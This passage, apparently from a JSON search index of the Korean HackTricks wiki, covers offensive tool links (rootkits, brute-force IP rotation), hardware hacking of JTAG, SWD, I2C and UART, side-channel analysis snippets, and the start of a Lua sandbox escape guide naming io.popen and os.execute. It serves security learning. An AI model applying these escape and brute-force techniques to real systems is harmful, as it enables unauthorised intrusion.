Firmware","id":"10244","title":"Firmware"},"10245":{"body":"https://twitter.com/HackAndDo/status/1202695084543791117 https://github.com/weev3/LKWA https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/ https://github.com/skelsec/jackdaw https://github.com/CoatiSoftware/Sourcetrail : 정적 코드 분석 https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html : Bluetooth LE CTF https://github.com/skeeto/endlessh : 느리게 끝없는 배너를 보내는 SSH tarpit. AWS 및 클라우드 도구: https://github.com/toniblyx/my-arsenal-of-aws-security-tools 피싱을 위한 IFS (Interplanetary File System): https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/ IP 회전 서비스: https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212 Linux 루트킷: https://github.com/aesophor/satanic-rootkit https://theia-ide.org/ : 온라인 IDE https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/ : BugBounties 시작을 위한 리소스 https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab : IOS 펜테스팅 도구 https://github.com/random-robbie/keywords/blob/master/keywords.txt : 키워드 https://github.com/ElevenPaths/HomePWN : IoT 해킹 (Wifi, BLE, SSDP, MDNS) https://github.com/rackerlabs/scantron : 스캐닝 자동화 https://github.com/doyensec/awesome-electronjs-hacking : 이 목록은 Electron.js 보안 관련 주제를 다루는 것을 목표로 합니다. https://github.com/serain/bbrecon : BB 프로그램에 대한 정보 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"More Tools » OTHER","id":"10245","title":"OTHER"},"10246":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » 하드웨어 해킹","id":"10246","title":"하드웨어 해킹"},"10247":{"body":"JTAG는 경계 스캔을 수행할 수 있게 해줍니다. 경계 스캔은 각 핀에 대한 내장 경계 스캔 셀 및 레지스터를 포함한 특정 회로를 분석합니다. JTAG 표준은 경계 스캔을 수행하기 위한 특정 명령 을 정의하며, 다음과 같은 명령이 포함됩니다: BYPASS 는 다른 칩을 통과하는 오버헤드 없이 특정 칩을 테스트할 수 있게 해줍니다. SAMPLE/PRELOAD 는 장치가 정상 작동 모드에 있을 때 들어오고 나가는 데이터의 샘플을 가져옵니다. EXTEST 는 핀 상태를 설정하고 읽습니다. 또한 다음과 같은 다른 명령도 지원할 수 있습니다: IDCODE 는 장치를 식별하는 데 사용됩니다. INTEST 는 장치의 내부 테스트를 위한 것입니다. JTAGulator와 같은 도구를 사용할 때 이러한 명령을 접할 수 있습니다.","breadcrumbs":"Hardware Hacking » JTAG","id":"10247","title":"JTAG"},"10248":{"body":"경계 스캔에는 네 개의 와이어로 구성된 테스트 액세스 포트 (TAP) 테스트가 포함되며, 이는 구성 요소에 내장된 JTAG 테스트 지원 기능에 대한 액세스 를 제공합니다. TAP는 다음 다섯 개의 신호를 사용합니다: 테스트 클럭 입력 ( TCK ) TCK는 TAP 컨트롤러가 단일 작업을 수행하는 빈도를 정의하는 클럭 입니다 (즉, 상태 기계에서 다음 상태로 점프). 테스트 모드 선택 ( TMS ) 입력 TMS는 유한 상태 기계 를 제어합니다. 클럭의 각 비트에서 장치의 JTAG TAP 컨트롤러는 TMS 핀의 전압을 확인합니다. 전압이 특정 임계값 이하이면 신호는 낮은 것으로 간주되어 0으로 해석되고, 전압이 특정 임계값 이상이면 신호는 높은 것으로 간주되어 1로 해석됩니다. 테스트 데이터 입력 ( TDI ) TDI는 스캔 셀을 통해 칩으로 데이터를 전송하는 핀 입니다. 각 공급업체는 이 핀을 통한 통신 프로토콜을 정의할 책임이 있으며, JTAG는 이를 정의하지 않습니다. 테스트 데이터 출력 ( TDO ) TDO는 칩에서 데이터를 전송하는 핀 입니다. 테스트 리셋 ( TRST ) 입력 선택적 TRST는 유한 상태 기계를 알려진 좋은 상태 로 리셋합니다. 또는 TMS가 연속적으로 5개의 클럭 사이클 동안 1로 유지되면 TRST 핀과 동일한 방식으로 리셋을 호출합니다. 그래서 TRST는 선택적입니다. 때때로 PCB에서 이러한 핀에 마킹이 되어 있는 것을 찾을 수 있습니다. 다른 경우에는 찾아야 할 수도 있습니다 .","breadcrumbs":"Hardware Hacking » 테스트 액세스 포트","id":"10248","title":"테스트 액세스 포트"},"10249":{"body":"JTAG 포트를 감지하는 가장 빠르고 비싼 방법은 JTAGulator 를 사용하는 것입니다. 이는 이 목적을 위해 특별히 제작된 장치입니다 (또한 UART 핀 배치 도 감지할 수 있습니다). 이 장치는 보드 핀에 연결할 수 있는 24개 채널 을 가지고 있습니다. 그런 다음 IDCODE 및 BYPASS 경계 스캔 명령을 보내며 가능한 모든 조합에 대해 BF 공격 을 수행합니다. 응답을 받으면 각 JTAG 신호에 해당하는 채널을 표시합니다. 더 저렴하지만 훨씬 느린 JTAG 핀 배치를 식별하는 방법은 Arduino 호환 마이크로컨트롤러에 로드된 JTAGenum 을 사용하는 것입니다. JTAGenum 을 사용하면 먼저 열거에 사용할 프로빙 장치의 핀을 정의해야 합니다. 장치의 핀 배치 다이어그램을 참조한 다음, 이러한 핀을 대상 장치의 테스트 포인트에 연결해야 합니다. JTAG 핀을 식별하는 세 번째 방법 은 PCB를 검사 하여 핀 배치 중 하나를 찾는 것입니다. 경우에 따라 PCB는 Tag-Connect 인터페이스 를 제공할 수 있으며, 이는 보드에 JTAG 커넥터가 있다는 명확한 표시입니다. 해당 인터페이스가 어떻게 생겼는지는 https://www.tag-connect.com/info/ 에서 확인할 수 있습니다. 또한 PCB의 칩셋 데이터시트를 검사하면 JTAG 인터페이스를 가리키는 핀 배치 다이어그램이 드러날 수 있습니다.","breadcrumbs":"Hardware Hacking » JTAG 핀 식별","id":"10249","title":"JTAG 핀 식별"},"1025":{"body":"이더리움의 거래는 발신자와 수신자가 포함되며, 이는 사용자 또는 스마트 계약 주소일 수 있습니다. 거래는 수수료가 필요하며 채굴되어야 합니다. 거래의 필수 정보에는 수신자, 발신자의 서명, 값, 선택적 데이터, 가스 한도 및 수수료가 포함됩니다. 특히, 발신자의 주소는 서명에서 유추되므로 거래 데이터에 포함할 필요가 없습니다. 이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하며 암호화폐에 참여하고자 하는 모든 사람에게 기본적입니다.","breadcrumbs":"Blockchain & Crypto » 거래 실행하기","id":"1025","title":"거래 실행하기"},"10250":{"body":"SWD는 디버깅을 위해 설계된 ARM 전용 프로토콜입니다. SWD 인터페이스는 두 개의 핀 이 필요합니다: 양방향 SWDIO 신호, 이는 JTAG의 TDI 및 TDO 핀 과 클럭에 해당하며, SWCLK 는 JTAG의 TCK 에 해당합니다. 많은 장치는 **직렬 와이어 또는 JTAG 디버그 포트 (SWJ-DP)**를 지원하며, 이는 SWD 또는 JTAG 프로브를 대상에 연결할 수 있게 해줍니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » SDW","id":"10250","title":"SDW"},"10251":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. Fault injection attacks는 전자 회로에 외부 간섭을 도입하여 그 동작에 영향을 미치고, 그 결과 정보를 유출하거나 회로의 특정 제한을 우회하는 것을 포함합니다. 이 공격은 전자 회로를 공격할 수 있는 많은 가능성을 열어줍니다. 이 공격은 전자 회로의 glitching이라고도 불립니다. 전자 회로에 결함을 주입하는 방법과 매체는 다양합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » Fault Injection Attacks » Fault Injection Attacks","id":"10251","title":"Fault Injection Attacks"},"10252":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » I2C » I2C","id":"10252","title":"I2C"},"10253":{"body":"Bus Pirate가 작동하는지 테스트하려면 +5V를 VPU에 연결하고 3.3V를 ADC에 연결한 후 버스 파이레트를 접근합니다 (예: Tera Term 사용) 그리고 명령어 ~를 사용합니다: bash # Use command\\nHiZ>~\\nDisconnect any devices\\nConnect (Vpu to +5V) and (ADC to +3.3V)\\nSpace to continue\\n# Press space\\nCtrl\\nAUX OK\\nMODE LED OK\\nPULLUP H OK\\nPULLUP L OK\\nVREG OK\\nADC and supply\\n5V(4.96) OK\\nVPU(4.96) OK\\n3.3V(3.26) OK\\nADC(3.27) OK\\nBus high\\nMOSI OK\\nCLK OK\\nMISO OK\\nCS OK\\nBus Hi-Z 0\\nMOSI OK\\nCLK OK\\nMISO OK\\nCS OK\\nBus Hi-Z 1\\nMOSI OK\\nCLK OK\\nMISO OK\\nCS OK\\nMODE and VREG LEDs should be on!\\nAny key to exit\\n#Press space\\nFound 0 errors. 이전 명령줄에서 0개의 오류가 발견되었다고 표시된 것을 볼 수 있습니다. 이는 구매 후 또는 펌웨어를 플래시한 후에 작동하는지 아는 데 매우 유용합니다. 버스 파이레와 연결하려면 문서를 참조할 수 있습니다: 이 경우 EPROM: ATMEL901 24C256 PU27에 연결할 것입니다: 버스 파이레와 대화하기 위해 Tera Term을 사용하여 파이레 버스 COM 포트에 연결했습니다. 설정 --> 직렬 포트 --> 속도를 115200으로 설정했습니다. 다음 통신에서는 버스 파이레를 I2C와 대화하도록 준비하는 방법과 메모리에서 읽고 쓰는 방법을 찾을 수 있습니다(주석은 \\"#\\"을 사용하여 나타나며, 통신에서 해당 부분을 기대하지 마십시오): bash # Check communication with buspirate\\ni\\nBus Pirate v3.5\\nCommunity Firmware v7.1 - goo.gl/gCzQnW [HiZ 1-WIRE UART I2C SPI 2WIRE 3WIRE KEYB LCD PIC DIO] Bootloader v4.5\\nDEVID:0x0447 REVID:0x3046 (24FJ64GA00 2 B8)\\nhttp://dangerousprototypes.com # Check voltages\\nI2C>v\\nPinstates:\\n1.(BR) 2.(RD) 3.(OR) 4.(YW) 5.(GN) 6.(BL) 7.(PU) 8.(GR) 9.(WT) 0.(Blk)\\nGND 3.3V 5.0V ADC VPU AUX SCL SDA - -\\nP P P I I I I I I I\\nGND 3.27V 4.96V 0.00V 4.96V L H H L L #Notice how the VPU is in 5V becausethe EPROM needs 5V signals # Get mode options\\nHiZ>m\\n1. HiZ\\n2. 1-WIRE\\n3. UART\\n4. I2C\\n5. SPI\\n6. 2WIRE\\n7. 3WIRE\\n8. KEYB\\n9. LCD\\n10. PIC\\n11. DIO\\nx. exit(without change) # Select I2C\\n(1)>4\\nI2C mode:\\n1. Software\\n2. Hardware # Select Software mode\\n(1)>1\\nSet speed:\\n1. ~5kHz\\n2. ~50kHz\\n3. ~100kHz\\n4. ~240kHz # Select communication spped\\n(1)> 2\\nClutch disengaged!!!\\nTo finish setup, start up the power supplies with command \'W\'\\nReady # Start communication\\nI2C>W\\nPOWER SUPPLIES ON\\nClutch engaged!!! # Get macros\\nI2C>(0)\\n0.Macro menu\\n1.7bit address search\\n2.I2C sniffer #Get addresses of slaves connected\\nI2C>(1)\\nSearching I2C address space. Found devices at:\\n0xA0(0x50 W) 0xA1(0x50 R) # Note that each slave will have a write address and a read address\\n# 0xA0 ad 0xA1 in the previous case # Write \\"BBB\\" in address 0x69\\nI2C>[0xA0 0x00 0x69 0x42 0x42 0x42]\\nI2C START BIT\\nWRITE: 0xA0 ACK\\nWRITE: 0x00 ACK\\nWRITE: 0x69 ACK\\nWRITE: 0x42 ACK\\nWRITE: 0x42 ACK\\nWRITE: 0x42 ACK\\nI2C STOP BIT # Prepare to read from address 0x69\\nI2C>[0xA0 0x00 0x69]\\nI2C START BIT\\nWRITE: 0xA0 ACK\\nWRITE: 0x00 ACK\\nWRITE: 0x69 ACK\\nI2C STOP BIT # Read 20B from address 0x69 configured before\\nI2C>[0xA1 r:20]\\nI2C START BIT\\nWRITE: 0xA1 ACK\\nREAD: 0x42 ACK 0x42 ACK 0x42 ACK 0x20 ACK 0x48 ACK 0x69 ACK 0x20 ACK 0x44 ACK 0x72 ACK 0x65 ACK 0x67 ACK 0x21 ACK 0x20 ACK 0x41 ACK 0x41 ACK 0x41 ACK 0x00 ACK 0xFF ACK 0xFF ACK 0xFF\\nNACK","breadcrumbs":"Hardware Hacking » I2C » Bus Pirate","id":"10253","title":"Bus Pirate"},"10254":{"body":"이 시나리오에서는 아두이노와 이전 EPROM 간의 I2C 통신을 스니핑할 것입니다. 두 장치를 통신한 다음 버스 해적을 SCL, SDA 및 GND 핀에 연결하기만 하면 됩니다: bash I2C>m\\n1. HiZ\\n2. 1-WIRE\\n3. UART\\n4. I2C\\n5. SPI\\n6. 2WIRE\\n7. 3WIRE\\n8. KEYB\\n9. LCD\\n10. PIC\\n11. DIO\\nx. exit(without change) (1)>4\\nI2C mode:\\n1. Software\\n2. Hardware (1)>1\\nSet speed:\\n1. ~5kHz\\n2. ~50kHz\\n3. ~100kHz\\n4. ~240kHz (1)>1\\nClutch disengaged!!!\\nTo finish setup, start up the power supplies with command \'W\'\\nReady # EVEN IF YOU ARE GOING TO SNIFF YOU NEED TO POWER ON! I2C>W\\nPOWER SUPPLIES ON\\nClutch engaged!!! # Start sniffing, you can see we sniffed a write command I2C>(2)\\nSniffer\\nAny key to exit\\n[0xA0+0x00+0x69+0x41+0x41+0x41+0x20+0x48+0x69+0x20+0x44+0x72+0x65+0x67+0x21+0x20+0x41+0x41+0x41+0x00+] tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » I2C » Sniffer","id":"10254","title":"Sniffer"},"10255":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 사이드 채널 공격은 내부 상태와 상관관계 가 있지만 장치의 논리적 인터페이스의 일부가 아닌 물리적 또는 마이크로 아키텍처의 \\"누출\\"을 관찰하여 비밀을 복구합니다. 예를 들어, 스마트 카드가 소모하는 순간 전류를 측정하는 것부터 네트워크를 통한 CPU 전력 관리 효과를 악용하는 것까지 다양합니다.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 사이드 채널 분석 공격","id":"10255","title":"사이드 채널 분석 공격"},"10256":{"body":"채널 일반적인 대상 계측 전력 소비 스마트 카드, IoT MCU, FPGA 오실로스코프 + 션트 저항/HS 프로브 (예: CW503) 전자기장 (EM) CPU, RFID, AES 가속기 H-필드 프로브 + LNA, ChipWhisperer/RTL-SDR 실행 시간 / 캐시 데스크탑 및 클라우드 CPU 고정밀 타이머 (rdtsc/rdtscp), 원격 비행 시간 음향 / 기계적 키보드, 3D 프린터, 릴레이 MEMS 마이크, 레이저 진동계 광학 및 열 LED, 레이저 프린터, DRAM 포토다이오드 / 고속 카메라, IR 카메라 결함 유도 ASIC/MCU 암호 클럭/전압 글리치, EMFI, 레이저 주입","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 주요 누출 채널","id":"10256","title":"주요 누출 채널"},"10257":{"body":"","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 전력 분석","id":"10257","title":"전력 분석"},"10258":{"body":"단일 트레이스를 관찰하고 피크/골짜기를 작업(예: DES S-박스)과 직접 연관시킵니다. python # ChipWhisperer-husky example – capture one AES trace\\nfrom chipwhisperer.capture.api.programmers import STMLink\\nfrom chipwhisperer.capture import CWSession\\ncw = CWSession(project=\'aes\')\\ntrig = cw.scope.trig\\ncw.connect(cw.capture.scopes[0])\\ncw.capture.init()\\ntrace = cw.capture.capture_trace()\\nprint(trace.wave) # numpy array of power samples","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 단순 전력 분석 (SPA)","id":"10258","title":"단순 전력 분석 (SPA)"},"10259":{"body":"N > 1 000 트레이스를 수집하고, 키 바이트 k를 가정하며, HW/HD 모델을 계산하고 누출과 상관관계를 분석합니다. python import numpy as np\\ncorr = np.corrcoef(leakage_model(k), traces[:,sample]) CPA는 여전히 최첨단이지만 기계 학습 변형(MLA, 딥 러닝 SCA)이 이제 ASCAD-v2(2023)와 같은 대회에서 지배적입니다.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » Differential/Correlation Power Analysis (DPA/CPA)","id":"10259","title":"Differential/Correlation Power Analysis (DPA/CPA)"},"1026":{"body":"https://en.wikipedia.org/wiki/Proof_of_stake https://www.mycryptopedia.com/public-key-private-key-explained/ https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions https://ethereum.org/en/developers/docs/transactions/ https://ethereum.org/en/developers/docs/gas/ https://en.bitcoin.it/wiki/Privacy tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Blockchain & Crypto » 참고 문헌","id":"1026","title":"참고 문헌"},"10260":{"body":"근거리 EM 프로브(500 MHz–3 GHz)는 션트를 삽입하지 않고도 전력 분석과 동일한 정보를 유출합니다. 2024년 연구에서는 스펙트럼 상관관계와 저비용 RTL-SDR 프론트 엔드를 사용하여 STM32에서 >10 cm 떨어진 곳에서 키 복구를 입증했습니다.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 전자기 분석 (EMA)","id":"10260","title":"전자기 분석 (EMA)"},"10261":{"body":"현대 CPU는 공유 자원을 통해 비밀을 유출합니다: Hertzbleed (2022) – DVFS 주파수 스케일링이 해밍 가중치와 상관관계가 있어 원격 으로 EdDSA 키를 추출할 수 있습니다. Downfall / Gather Data Sampling (Intel, 2023) – SMT 스레드를 통해 AVX-gather 데이터를 읽기 위한 일시적 실행. Zenbleed (AMD, 2023) & Inception (AMD, 2023) – 추측 벡터 잘못 예측이 도메인 간 레지스터를 유출합니다.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 타이밍 및 마이크로 아키텍처 공격","id":"10261","title":"타이밍 및 마이크로 아키텍처 공격"},"10262":{"body":"2024년 \\"iLeakKeys\\"는 CNN 분류기를 사용하여 스마트폰 마이크로 Zoom 에서 노트북 키스트로크를 복구하는 데 95% 정확도를 보였습니다. 고속 포토다이오드는 DDR4 활동 LED를 캡처하고 <1분 이내에 AES 라운드 키를 재구성합니다(BlackHat 2023).","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 음향 및 광학 공격","id":"10262","title":"음향 및 광학 공격"},"10263":{"body":"결함과 사이드 채널 유출을 결합하면 키 검색이 단축됩니다(예: 1-트레이스 AES DFA). 최근 취미 가격의 도구: ChipSHOUTER & PicoEMP – 1 ns 미만의 전자기 펄스 글리치. GlitchKit-R5 (2025) – RISC-V SoC를 지원하는 오픈 소스 클럭/전압 글리치 플랫폼.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 결함 주입 및 차별적 결함 분석 (DFA)","id":"10263","title":"결함 주입 및 차별적 결함 분석 (DFA)"},"10264":{"body":"유출 채널 및 장착 지점 식별(VCC 핀, 디커플링 커패시터, 근거리 지점). 트리거 삽입(GPIO 또는 패턴 기반). 적절한 샘플링/필터로 >1 k 트레이스 수집. 전처리(정렬, 평균 제거, LP/HP 필터, 웨이브렛, PCA). 통계적 또는 ML 키 복구(CPA, MIA, DL-SCA). 이상치 검증 및 반복.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 전형적인 공격 워크플로우","id":"10264","title":"전형적인 공격 워크플로우"},"10265":{"body":"상수 시간 구현 및 메모리 강한 알고리즘. 마스킹/셔플링 – 비밀을 무작위 공유로 나누기; 첫 번째 차수 저항은 TVLA에 의해 인증됨. 은폐 – 온칩 전압 조절기, 무작위화된 클럭, 이중 레일 논리, EM 차폐. 결함 감지 – 중복 계산, 임계값 서명. 운영 – 암호 커널에서 DVFS/터보 비활성화, SMT 격리, 다중 임대 클라우드에서 공동 위치 금지.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 방어 및 강화","id":"10265","title":"방어 및 강화"},"10266":{"body":"ChipWhisperer-Husky (2024) – 500 MS/s 스코프 + Cortex-M 트리거; 위와 같은 Python API. Riscure Inspector & FI – 상업용, 자동화된 유출 평가(TVLA-2.0)를 지원합니다. scaaml – TensorFlow 기반의 딥 러닝 SCA 라이브러리(v1.2 – 2025). pyecsca – ANSSI 오픈 소스 ECC SCA 프레임워크.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 도구 및 프레임워크","id":"10266","title":"도구 및 프레임워크"},"10267":{"body":"ChipWhisperer Documentation Hertzbleed Attack Paper tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » Side Channel Analysis » 참고 문헌","id":"10267","title":"참고 문헌"},"10268":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » UART » UART","id":"10268","title":"UART"},"10269":{"body":"UART는 직렬 프로토콜로, 구성 요소 간에 데이터를 한 번에 한 비트씩 전송합니다. 반면, 병렬 통신 프로토콜은 여러 채널을 통해 데이터를 동시에 전송합니다. 일반적인 직렬 프로토콜에는 RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express 및 USB가 포함됩니다. 일반적으로 UART가 유휴 상태일 때 라인은 높은 상태(논리 1 값)로 유지됩니다. 그런 다음 데이터 전송의 시작을 신호하기 위해 송신기는 수신기에 시작 비트를 전송하며, 이 동안 신호는 낮은 상태(논리 0 값)로 유지됩니다. 다음으로 송신기는 실제 메시지를 포함하는 5~8개의 데이터 비트를 전송하고, 그 뒤에 선택적 패리티 비트와 하나 또는 두 개의 정지 비트(논리 1 값)를 전송합니다. 오류 검사용으로 사용되는 패리티 비트는 실제로는 거의 보이지 않습니다. 정지 비트(또는 비트)는 전송의 끝을 나타냅니다. 가장 일반적인 구성은 8N1이라고 부릅니다: 8개의 데이터 비트, 패리티 없음, 1개의 정지 비트. 예를 들어, 문자 C 또는 ASCII에서 0x43을 8N1 UART 구성으로 전송하고자 한다면, 다음 비트를 전송합니다: 0(시작 비트); 0, 1, 0, 0, 0, 0, 1, 1(이진수로 0x43의 값), 그리고 0(정지 비트). UART와 통신하기 위한 하드웨어 도구: USB-직렬 어댑터 CP2102 또는 PL2303 칩이 있는 어댑터 Bus Pirate, Adafruit FT232H, Shikra 또는 Attify Badge와 같은 다목적 도구","breadcrumbs":"Hardware Hacking » UART » 기본 정보","id":"10269","title":"기본 정보"},"1027":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이 페이지는 애플리케이션(특히 game clients, plugins, 또는 in-app scripting engines)에 내장된 Lua \\"sandboxes\\"를 열거하고 탈출하는 실용적인 기법들을 모아둡니다. 많은 엔진이 제한된 Lua 환경을 노출하지만, 바이트코드 로더가 노출되는 경우 임의 명령 실행이나 네이티브 메모리 손상까지 가능한 강력한 globals에 접근할 수 있도록 남겨두는 경우가 많습니다. Key ideas: VM을 알 수 없는 환경으로 취급하세요: _G를 열거하여 어떤 위험한 primitives에 접근 가능한지 확인합니다. stdout/print이 차단된 경우, 결과를 관찰하기 위해 in-VM UI/IPC 채널을 출력 싱크로 악용하세요. io/os가 노출되어 있으면, 보통 직접 명령 실행(io.popen, os.execute)이 가능합니다. load/loadstring/loadfile이 노출되어 있으면, 조작된 Lua bytecode 실행으로 일부 버전에서 메모리 안전성이 무너질 수 있습니다 (≤5.1의 verifier는 우회 가능; 5.2는 verifier를 제거), 이를 통해 고급 익스플로잇이 가능해집니다.","breadcrumbs":"Lua Sandbox Escape » Bypass Lua sandboxes (embedded VMs, game clients)","id":"1027","title":"Bypass Lua sandboxes (embedded VMs, game clients)"},"10270":{"body":"UART에는 4개의 포트가 있습니다: TX (전송), RX (수신), Vcc (전압), 및 GND (접지). PCB에 TX 및 RX 문자가 작성된 4개의 포트를 찾을 수 있을 것입니다. 그러나 표시가 없다면, 멀티미터 또는 로직 분석기 를 사용하여 직접 찾아야 할 수도 있습니다. 멀티미터 와 장치 전원이 꺼진 상태에서: GND 핀을 식별하려면 연속성 테스트 모드를 사용하고, 검은색 리드를 접지에 놓고 빨간색 리드로 테스트하여 멀티미터에서 소리가 날 때까지 테스트합니다. PCB에서 여러 GND 핀을 찾을 수 있으므로 UART에 해당하는 핀을 찾았는지 여부는 확실하지 않을 수 있습니다. VCC 포트 를 식별하려면 DC 전압 모드 로 설정하고 20V로 설정합니다. 검은색 